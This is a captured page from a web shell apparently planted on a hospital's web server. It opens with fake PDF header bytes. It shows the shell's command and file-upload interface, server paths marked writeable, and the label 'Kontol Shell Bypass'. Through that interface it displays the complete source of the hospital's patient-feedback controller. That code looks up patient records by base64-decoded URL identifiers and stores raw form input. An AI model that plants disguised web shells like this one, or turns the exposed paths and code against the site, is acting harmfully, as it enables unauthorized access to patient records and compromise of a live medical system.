%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/pdms/application/controllers/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/pdms/application/controllers/Feedback.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
Class Feedback extends CI_Controller {
	function __construct(){
		parent::__construct();
		$this->load->model(array('Home_Model'));
	}
	public function index()
	{
		$data = array();
		$header = array();
		$searchArray =  array();
		$record_num = end($this->uri->segment_array());
		$slag_id = base64_decode($record_num);
		if($slag_id){
			$searchArray['slag_id'] = $slag_id;
		} else {
			redirect('feedback/thanks');
		}
		
		$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_ip_patient_info', '*', $searchArray);	
		if(!empty($recordsArray)){
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		} else {
			$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_op_patient_info', '*', $searchArray);	
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		}
		
		$data['recordsArray'] = $recordsArray;
		$data['title'] = "Sharda Hospital Feedback Form | Sharda Hospital Greater Noida, India";
		$pat_type = $recordsArray['pat_type'];
		$this->load->view('_parts/header',$data);
		$this->load->view('userinfo',$data);
		$this->load->view('_parts/footer');
	}
	
	/*
	* Function : opfeedback
	*
	*/
	public function opfeedback()
	{
		$data = array();
		$header = array();
		
		$searchArray =  array('status'=>'1');
		$record_num = end($this->uri->segment_array());
		$data['record_num'] = $record_num;
		$myslag_id = base64_decode($record_num);
		
		if($myslag_id){
			$searchArray['slag_id'] = $myslag_id;
		}
		
		$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_op_patient_info', '*', $searchArray);	
		
		if(!empty($recordsArray)){
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		} else {
			$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_ip_patient_info', '*', $searchArray);	
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		}
		if(empty($recordsArray) && $myslag_id!='') { redirect('feedback/thanks/'.base64_encode($myslag_id)); }
		
		$data['recordsArray'] = $recordsArray;
		
		//tbl_checklist_master for 1
		$data['checklistArray'] = $this->Home_Model->getCommonQuery('tbl_checklist_master','*', array('event_id'=>'1','status'=>'1'), array('display_order'=>'ASC'));
		
		
		$questionsArray = $this->Home_Model->getCommonQuery('tbl_questions_master','*', array('status'=>'1'),array('display_order'=>'ASC'));
		$finalQuestionArray = array();
		foreach($questionsArray as $row){
			$finalQuestionArray[$row['category_id']][] = $row;
		}
		$data['questionsArray'] = $finalQuestionArray;
		$data['ratingArray'] = $this->Home_Model->getCommonQuery('tbl_pdms_rating_master','*', array('status'=>'1'));
		$feedback_mode = $recordsArray['feedback_mode'];
		if($_POST['submit']){
			
			unset($_POST['submit']);
			foreach($_POST as $key=>$val){
				$rating = $val;
				$nKeyArray = explode('_',$key);
				
				$slag_id = $nKeyArray['1'];
				$category_id = $nKeyArray['2'];
				$question_id = $nKeyArray['3'];
				$ratingvalue = $_POST[$key];
				$language_mode = $_POST['language_mode'];
				if(count($nKeyArray)>2){
					$dparams = array();
					$dparams['slag_id'] = $slag_id;
					$dparams['c_id'] = $category_id;
					$dparams['q_id'] = $question_id;
					$dparams['r_id'] = $ratingvalue;
					$dparams['feedback_mode'] = $feedback_mode;
					$dparams['language_mode'] = $language_mode;
					$dparams['createdon'] = date('Y-m-d H:i:s');
					$dparams['modifiedon'] = date('Y-m-d H:i:s');
					//print_r($dparams); die;
					$this->Home_Model->saveinfo('tbl_feedback_ratingrecord',$dparams);
					// Status Update
				}
				
			}
		
			$myslag_id = $_POST['myslagid'];
			$lang_mode = $_POST['language_mode'];
			
			$othparams = array();
			$othparams['slag_id'] = $myslag_id;
			$othparams['lang_mode'] = $lang_mode;
			$othparams['suggestion'] = $_POST['additional_coments'];
			$othparams['reason_if_no'] = $_POST['recommend_coments'];
			$othparams['recommedation'] = $_POST['radio_recommend'];
			$othparams['feedback_mode'] = $feedback_mode;
			$othparams['createdon'] = date('Y-m-d H:i:s');
			$othparams['modifiedon'] = date('Y-m-d H:i:s');
			$this->Home_Model->saveinfo('tbl_feedback_otherrecords',$othparams);
				
			$this->Home_Model->updateinfo('tbl_pdms_op_patient_info',array('status'=>'2','modifiedon'=>date('Y-m-d H:i:s')),'slag_id',$myslag_id);
			
			redirect('feedback/thanks/'.base64_encode($myslag_id));
			
		}
		
		
		$data['title'] = "Sharda Hospital OP Feedback Form | Sharda Hospital Greater Noida, India";
		$pat_type = $recordsArray['pat_type'];
		$this->load->view('_parts/header',$data);
		$this->load->view('opfeedback',$data);
		$this->load->view('_parts/footer');
	}
	/*
	* Function : ophfeedback
	*
	*/
	public function ophfeedback()
	{
		$data = array();
		$header = array();
		
		$searchArray =  array('status'=>'1');
		$record_num = end($this->uri->segment_array());
		$data['record_num'] = $record_num;
		$myslag_id = base64_decode($record_num);
		
		if($myslag_id){
			$searchArray['slag_id'] = $myslag_id;
		}
		
		$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_op_patient_info', '*', $searchArray);	
		
		if(!empty($recordsArray)){
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		} else {
			$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_ip_patient_info', '*', $searchArray);	
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		}
		if(empty($recordsArray) && $myslag_id!='') { redirect('feedback/thanks/'.base64_encode($myslag_id)); }
		
		$data['recordsArray'] = $recordsArray;
		
		//tbl_checklist_master for 1
		$data['checklistArray'] = $this->Home_Model->getCommonQuery('tbl_checklist_master','*', array('event_id'=>'1','status'=>'1'), array('display_order'=>'ASC'));
		
		
		$questionsArray = $this->Home_Model->getCommonQuery('tbl_questions_master','*', array('status'=>'1'),array('display_order'=>'ASC'));
		$finalQuestionArray = array();
		foreach($questionsArray as $row){
			$finalQuestionArray[$row['category_id']][] = $row;
		}
		$data['questionsArray'] = $finalQuestionArray;
		$data['ratingArray'] = $this->Home_Model->getCommonQuery('tbl_pdms_rating_master','*', array('status'=>'1'));
		$feedback_mode = $recordsArray['feedback_mode'];
		if($_POST['submit']){
			
			unset($_POST['submit']);
			foreach($_POST as $key=>$val){
				$rating = $val;
				$nKeyArray = explode('_',$key);
				
				$slag_id = $nKeyArray['1'];
				$category_id = $nKeyArray['2'];
				$question_id = $nKeyArray['3'];
				$ratingvalue = $_POST[$key];
				$language_mode = $_POST['language_mode'];
				
				if(count($nKeyArray)>2){
					$dparams = array();
					$dparams['slag_id'] = $slag_id;
					$dparams['c_id'] = $category_id;
					$dparams['q_id'] = $question_id;
					$dparams['r_id'] = $ratingvalue;
					$dparams['feedback_mode'] = $feedback_mode;
					$dparams['language_mode'] = '2';
					$dparams['createdon'] = date('Y-m-d H:i:s');
					$dparams['modifiedon'] = date('Y-m-d H:i:s');
					//print_r($dparams); die;
					$this->Home_Model->saveinfo('tbl_feedback_ratingrecord',$dparams);
					// Status Update
				}
				
			}
		
			$myslag_id = $_POST['myslagid'];
			$lang_mode = $_POST['language_mode'];
			$othparams = array();
			$othparams['slag_id'] = $myslag_id;
			$othparams['suggestion'] = $_POST['additional_coments'];
			$othparams['reason_if_no'] = $_POST['recommend_coments'];
			$othparams['recommedation'] = $_POST['radio_recommend'];
			$othparams['feedback_mode'] = $feedback_mode;
			$othparams['lang_mode'] = '2';
			$othparams['createdon'] = date('Y-m-d H:i:s');
			$othparams['modifiedon'] = date('Y-m-d H:i:s');
			$this->Home_Model->saveinfo('tbl_feedback_otherrecords',$othparams);
				
			$this->Home_Model->updateinfo('tbl_pdms_op_patient_info',array('status'=>'2','modifiedon'=>date('Y-m-d H:i:s')),'slag_id',$myslag_id);
			
			redirect('feedback/thanks/'.base64_encode($myslag_id));
			
		}
		
		
		$data['title'] = "Sharda Hospital OP Feedback Form | Sharda Hospital Greater Noida, India";
		$pat_type = $recordsArray['pat_type'];
		$this->load->view('_parts/header',$data);
		$this->load->view('ophfeedback',$data);
		$this->load->view('_parts/footer');
	}
	
	public function ipfeedback()
	{
		
		$data = array();
		$header = array();
		$searchArray =  array('status'=>'1');
		$record_num = end($this->uri->segment_array());
		$data['record_num'] = $record_num;
		$myslag_id = base64_decode($record_num);
		if($myslag_id){
			$searchArray['slag_id'] = $myslag_id;
		}
		
		$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_ip_patient_info', '*', $searchArray);	
		$myslag_id = $recordsArray['slag_id'];
		if(!empty($recordsArray)){
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		} else {
			$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_op_patient_info', '*', $searchArray);	
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		}
		
		if(empty($recordsArray) && $myslag_id!='') { redirect('feedback/thanks/'.base64_encode($myslag_id)); }
		
		$data['recordsArray'] = $recordsArray;
		
		$data['ratingArray'] = $this->Home_Model->getCommonQuery('tbl_pdms_rating_master','*', array('status'=>'1'));
		$data['checklistArray'] = $this->Home_Model->getCommonQuery('tbl_checklist_master','*', array('event_id'=>'2','status'=>'1'), array('display_order'=>'ASC'));
		
		
		$questionsArray = $this->Home_Model->getCommonQuery('tbl_questions_master','*', array('status'=>'1'),array('display_order'=>'ASC'));
		$finalQuestionArray = array();
		foreach($questionsArray as $row){
			$finalQuestionArray[$row['category_id']][] = $row;
		}
		$data['questionsArray'] = $finalQuestionArray;
		$feedback_mode = $recordsArray['feedback_mode'];
		if($_POST['submit']){
			unset($_POST['submit']);
			foreach($_POST as $key=>$val){
				$rating = $val;
				$nKeyArray = explode('_',$key);
				$slag_id = $nKeyArray['1'];
				$category_id = $nKeyArray['2'];
				$question_id = $nKeyArray['3'];
				$ratingvalue = $_POST[$key];
				$language_mode = $_POST['language_mode'];
				$dparams = array();
				if(count($nKeyArray)>2){
					$dparams['slag_id'] = $slag_id;
					$dparams['c_id'] = $category_id;
					$dparams['q_id'] = $question_id;
					$dparams['r_id'] = $rating;
					$dparams['feedback_mode'] = $feedback_mode;
					$dparams['language_mode'] = $language_mode;
					$dparams['createdon'] = date('Y-m-d H:i:s');
					$dparams['modifiedon'] = date('Y-m-d H:i:s');
					//print_r($dparams); die;
					$this->Home_Model->saveinfo('tbl_feedback_ratingrecord',$dparams);
				
				}
			}
			$myslag_id = $_POST['myslagid'];
			$lang_mode = $_POST['language_mode'];
			
			// Status Update
			$othparams = array();
			$othparams['slag_id'] = $myslag_id;
			$othparams['lang_mode'] = $lang_mode;
			$othparams['suggestion'] = $_POST['additional_coments'];
			$othparams['reason_if_no'] = $_POST['recommend_coments'];
			$othparams['recommedation'] = $_POST['radio_recommend'];
			$othparams['feedback_mode'] = $feedback_mode;
			$othparams['createdon'] = date('Y-m-d H:i:s');
			$othparams['modifiedon'] = date('Y-m-d H:i:s');
			$this->Home_Model->saveinfo('tbl_feedback_otherrecords',$othparams);
			
			$this->Home_Model->updatefeedbackCount($myslag_id);
				
			redirect('feedback/thanks/'.base64_encode($myslag_id));
			
		}
		
		
		$data['title'] = "Sharda Hospital IP Feedback Form | Sharda Hospital Greater Noida, India";
		$pat_type = $recordsArray['pat_type'];
		$this->load->view('_parts/header',$data);
		$this->load->view('ipfeedback',$data);
		$this->load->view('_parts/footer');
	}
	public function iphfeedback()
	{
		
		$data = array();
		$header = array();
		$searchArray =  array('status'=>'1');
		$record_num = end($this->uri->segment_array());
		$data['record_num'] = $record_num;
		$myslag_id = base64_decode($record_num);
		if($myslag_id){
			$searchArray['slag_id'] = $myslag_id;
		}
		
		$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_ip_patient_info', '*', $searchArray);	
		$myslag_id = $recordsArray['slag_id'];
		if(!empty($recordsArray)){
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		} else {
			$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_op_patient_info', '*', $searchArray);	
			$UHID = $recordsArray['UHID'];
			$patient_name = $recordsArray['patient_name'];
		}
		
		if(empty($recordsArray) && $myslag_id!='') { redirect('feedback/thanks/'.base64_encode($myslag_id)); }
		
		$data['recordsArray'] = $recordsArray;
		
		$data['ratingArray'] = $this->Home_Model->getCommonQuery('tbl_pdms_rating_master','*', array('status'=>'1'));
		$data['checklistArray'] = $this->Home_Model->getCommonQuery('tbl_checklist_master','*', array('event_id'=>'2','status'=>'1'), array('display_order'=>'ASC'));
		
		
		$questionsArray = $this->Home_Model->getCommonQuery('tbl_questions_master','*', array('status'=>'1'),array('display_order'=>'ASC'));
		$finalQuestionArray = array();
		foreach($questionsArray as $row){
			$finalQuestionArray[$row['category_id']][] = $row;
		}
		$data['questionsArray'] = $finalQuestionArray;
		$feedback_mode = $recordsArray['feedback_mode'];
		if($_POST['submit']){
			unset($_POST['submit']);
			foreach($_POST as $key=>$val){
				$rating = $val;
				$nKeyArray = explode('_',$key);
				$slag_id = $nKeyArray['1'];
				$category_id = $nKeyArray['2'];
				$question_id = $nKeyArray['3'];
				$ratingvalue = $_POST[$key];
				$language_mode = $_POST['language_mode'];
				$dparams = array();
				if(count($nKeyArray)>2){
					$dparams['slag_id'] = $slag_id;
					$dparams['c_id'] = $category_id;
					$dparams['q_id'] = $question_id;
					$dparams['r_id'] = $rating;
					$dparams['language_mode'] = '2';
					$dparams['feedback_mode'] = $feedback_mode;
					
					$dparams['createdon'] = date('Y-m-d H:i:s');
					$dparams['modifiedon'] = date('Y-m-d H:i:s');
					//print_r($dparams); die;
					$this->Home_Model->saveinfo('tbl_feedback_ratingrecord',$dparams);
				
				}
			}
			$myslag_id = $_POST['myslagid'];
			$language_mode = $_POST['language_mode'];
			// Status Update
			$othparams = array();
			$othparams['slag_id'] = $myslag_id;
			$othparams['suggestion'] = $_POST['additional_coments'];
			$othparams['reason_if_no'] = $_POST['recommend_coments'];
			$othparams['recommedation'] = $_POST['radio_recommend'];
			$othparams['feedback_mode'] = $feedback_mode;
			$othparams['createdon'] = date('Y-m-d H:i:s');
			$othparams['modifiedon'] = date('Y-m-d H:i:s');
			$othparams['lang_mode'] = '2';
			$this->Home_Model->saveinfo('tbl_feedback_otherrecords',$othparams);
			
			$this->Home_Model->updatefeedbackCount($myslag_id);
				
			redirect('feedback/thanks/'.base64_encode($myslag_id));
			
		}
		
		
		$data['title'] = "Sharda Hospital IP Feedback Form | Sharda Hospital Greater Noida, India";
		$pat_type = $recordsArray['pat_type'];
		$this->load->view('_parts/header',$data);
		$this->load->view('iphfeedback',$data);
		$this->load->view('_parts/footer');
	}
	
	public function thanks()
	{
		$data = array();
		$record_num = $this->uri->segment_array();
		$myslag_id = base64_decode($record_num[3]);
		if($myslag_id){
			$searchArray['slag_id'] = $myslag_id;
			
			$data['record_num'] = $record_num[3];
			$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_ip_patient_info', '*', $searchArray);	
			
			if(!empty($recordsArray)){
				$UHID = $recordsArray['UHID'];
				$patient_name = $recordsArray['patient_name'];
			} else {
				$recordsArray = $this->Home_Model->getSingleRecord('tbl_pdms_op_patient_info', '*', $searchArray);	
				$UHID = $recordsArray['UHID'];
				$patient_name = $recordsArray['patient_name'];
			}
			$data['recordsArray'] = $recordsArray;
			
			// Get Feedbackmode
			
			$langModeArray = $this->Home_Model->getSingleRecord('tbl_feedback_otherrecords', 'id,slag_id,lang_mode',array('slag_id'=>$myslag_id));	
			$data['langMode'] = $langModeArray['lang_mode'];
			
			$data['title'] = "Sharda Hospital IP Feedback Form | Sharda Hospital Greater Noida, India";
			$this->load->view('_parts/header',$data);
			$this->load->view('thanks',$data);
		} else {
			$data['title'] = "Sharda Hospital IP Feedback Form | Sharda Hospital Greater Noida, India";
			$this->load->view('thanks-error',$data);
		}
		$this->load->view('_parts/footer');
	}

}	

Kontol Shell Bypass